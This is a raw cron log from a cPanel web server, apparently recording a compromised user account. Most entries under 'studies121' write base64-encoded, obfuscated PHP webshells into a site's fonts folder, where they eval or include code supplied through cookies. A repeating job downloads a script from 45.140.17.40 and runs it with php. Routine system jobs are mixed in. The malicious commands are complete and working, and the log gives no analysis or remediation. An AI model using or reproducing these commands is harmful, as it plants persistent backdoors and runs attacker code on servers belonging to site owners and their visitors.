Sep  5 07:46:01 ip-184-168-122-23 CROND[4181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:46:01 ip-184-168-122-23 CROND[4182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:46:01 ip-184-168-122-23 CROND[4185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:46:01 ip-184-168-122-23 CROND[4184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:47:01 ip-184-168-122-23 CROND[4331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:47:01 ip-184-168-122-23 CROND[4334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:47:01 ip-184-168-122-23 CROND[4332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:47:01 ip-184-168-122-23 CROND[4333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:48:01 ip-184-168-122-23 CROND[4420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:48:01 ip-184-168-122-23 CROND[4422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:48:01 ip-184-168-122-23 CROND[4423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:48:01 ip-184-168-122-23 CROND[4424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:48:01 ip-184-168-122-23 CROND[4425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:49:01 ip-184-168-122-23 CROND[4641]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 07:49:01 ip-184-168-122-23 CROND[4642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:49:01 ip-184-168-122-23 CROND[4643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:49:01 ip-184-168-122-23 CROND[4644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:49:01 ip-184-168-122-23 CROND[4647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:50:01 ip-184-168-122-23 CROND[4795]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 07:50:01 ip-184-168-122-23 CROND[4798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:50:01 ip-184-168-122-23 CROND[4801]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 07:50:01 ip-184-168-122-23 CROND[4799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:50:01 ip-184-168-122-23 CROND[4803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:50:01 ip-184-168-122-23 CROND[4805]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:50:01 ip-184-168-122-23 CROND[4804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:50:01 ip-184-168-122-23 CROND[4807]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:50:01 ip-184-168-122-23 CROND[4808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:51:02 ip-184-168-122-23 CROND[4929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:51:02 ip-184-168-122-23 CROND[4931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:51:02 ip-184-168-122-23 CROND[4933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:51:02 ip-184-168-122-23 CROND[4935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:52:01 ip-184-168-122-23 CROND[5039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:52:01 ip-184-168-122-23 CROND[5040]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:52:01 ip-184-168-122-23 CROND[5041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:52:01 ip-184-168-122-23 CROND[5043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:52:01 ip-184-168-122-23 CROND[5042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:53:01 ip-184-168-122-23 CROND[5237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:53:01 ip-184-168-122-23 CROND[5239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:53:01 ip-184-168-122-23 CROND[5240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:53:01 ip-184-168-122-23 CROND[5241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:54:01 ip-184-168-122-23 CROND[5329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:54:01 ip-184-168-122-23 CROND[5332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:54:01 ip-184-168-122-23 CROND[5331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:54:01 ip-184-168-122-23 CROND[5333]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:54:01 ip-184-168-122-23 CROND[5330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:55:01 ip-184-168-122-23 CROND[5441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:55:01 ip-184-168-122-23 CROND[5443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:55:01 ip-184-168-122-23 CROND[5444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:55:01 ip-184-168-122-23 CROND[5445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:55:01 ip-184-168-122-23 CROND[5446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:55:01 ip-184-168-122-23 CROND[5447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:56:01 ip-184-168-122-23 CROND[5533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:56:01 ip-184-168-122-23 CROND[5535]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:56:01 ip-184-168-122-23 CROND[5536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:56:01 ip-184-168-122-23 CROND[5537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:56:01 ip-184-168-122-23 CROND[5538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:57:01 ip-184-168-122-23 CROND[5709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:57:01 ip-184-168-122-23 CROND[5711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:57:01 ip-184-168-122-23 CROND[5712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:57:01 ip-184-168-122-23 CROND[5713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:58:01 ip-184-168-122-23 CROND[5812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:58:01 ip-184-168-122-23 CROND[5815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
